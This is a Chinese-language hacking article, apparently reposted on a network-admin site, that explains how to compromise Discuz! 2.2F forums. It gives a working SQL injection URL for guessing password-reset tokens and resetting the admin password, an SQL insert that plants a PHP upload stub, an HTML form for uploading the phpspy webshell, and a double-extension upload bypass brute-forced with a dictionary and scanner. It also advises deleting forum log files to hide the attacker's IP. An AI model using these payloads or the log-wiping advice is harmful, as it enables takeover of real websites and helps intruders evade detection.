图/文勇哥儿
自从04年第10期孟兄一篇《再爆Discuz!漏洞》,使Discuz
论坛在受重创,佩服孟兄的话就不多说了!珍对这个Discuz2.2F偶也想在唠叨几句!
一、再谈注入漏洞
具体原理孟兄已经说了,angle也做了详细的分析,偶在这里就不多说了。先谈谈利用取回密码功能,第一步在用户名和EMAIL里分别填上管理员的名称和EMAIL,提交后他的信箱中就会收到类似如下的一个超链接:
论坛要开启邮件功能噢">http://www.***.com/bbs/member.php?action=getpasswd&id=XtbpHpxTvcvbI6U4yMIT( 提交后id的值就存放在字段pwdrecover中,还有个前提
论坛要开启邮件功能噢!)看到“id”后面这20个字符了吗?如果我们知道了这20个字符就可以构造类似上面的语句来改管理员的密码了!我们怎么才能知道它呢,就是利用孟兄发现的变量emailadd存在注入漏洞,我们可以在浏览器里提交特殊语句来猜测!
http://www.***.com/bbs/register.php?emailadd=and ord(substring(pwdrecover,1,1)=55 and uid=1&doublee=1如下出现如图1所示,表示猜成功!!
中国网管论坛bbs.bitsCN.com
你可要有心里准备啊!因为你不可能有那么好的运气,所以会建很多管理员用户
二、再谈上传SHELL
在谈进入台后如何上传SHELL,孟兄的方法偶就不在缀述了!ANGEL有个方法也不错,进入后台,在数据库升级那里输入:
INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`)
VALUES ('', '0', '', '', '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', ''); 然后备份数据库为php结尾。把数据库的名字为:upfile.php
再写一个本地上传的表单:
<form ENCTYPE="multipart/form-data" ACTION="http://www.***.com/bbs/forumdata/upfile.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit"></form>
我们现在来提交表单,然后把phpspy.php上传上去。
网管下载dl.bitscn.com 然后访问地址:http://www.***.com/bbs/forumdata/phpspy.php,(哈哈,一个经典的后门就上传上去了!)
三、说说暴路径漏洞
Discuz2.2F存在暴路径漏洞,由于程序员的疏忽在文件styles.php中少了if(!defined('IN_DISCUZ')) {exit('Access Denied');}所以你在浏览器中输入http://www.***.com/bbs/admin/styles.php时会暴出路径,如图3:
不要小看这个漏洞,我们可以大体猜测它用的是什么系统以及用的什么PHP运行环境,一般LINUX、UNIX都用APACHE服务器!
四、聊聊上传漏洞
经过多次测试发现,要想利用上传漏洞需满足以下两个条件:
一、能上传附件
二、LINUX+APACHE服务器
php的文件在上传后会改成_php文件,然而_PHP文件是不能执行的,但是如果我们在php文件后缀名后再加一个. php如:phpspy.php.php上传后就变成了iTcs_phpspy.php._php奇怪的是iTcs_phpspy.php._php能在以上环境下执行!!(iTcs是程序自己加上的,也是随机产生的,上传后文件会保存在attachments目录下),我们怎么才能猜到这四个随机字符呢!无奈之下只能用暴破法了(注意:LINUX+APACHE是区分大小写的,又给暴破曾加了难度)。小技巧:为了增加命中率,我们可以多上传附件,数量当然是多多益善了。
网管bitscn_com
首先制作字典,利用工具是“字典专家”,选择密码段数为5,输入出密码档为c:\Dict_Admin.txt,前四段你自己选择了,这个第五段我用的是特殊字符@,点生成按钮,一个临时字典就生成了,如图4
打开Dict_Admin.txt在第一行前添加www.54nb.com(不要怪偶,不是在这里给54NB做广告,偶也是有苦中啊,不加字典不运行啊),_phpspy._php">然后利用查找替换功能把@替换为_phpspy._php,这样字典我们就做好了!
其次利用NBSI来扫描,把刚才的字典文件Dict_Admin.txt覆盖掉NBSI目录下的同名文件,找开NBSIà扫描及工具à后台管理地址扫描,在扫描地址中输入:http://www.***.com/bbs/attachments/ 然后开始扫描行不行就看你的运行了。
最后一步开始睡觉,第二天起来一看运气还不错,如图5
网管bitscn_com 真的不错找到一个(上传百十个附件,真不容易总算命中一个^_^),运行一下看看如图6
顺便在提醒大家一下,得到WEBSHELL后,加忘了把forumdata目录下的cplog.php和illegallog.php两个文件清一下(别忘了那么多垃圾附件啊)就算你用一重代理,你的真实IP也会记录在案的噢!(多重偶没试过) 唠叨的口都干了,舌头打弯都别扭了,头发都要立整了,眼皮都要打仗,说啥也不说了,以后在聊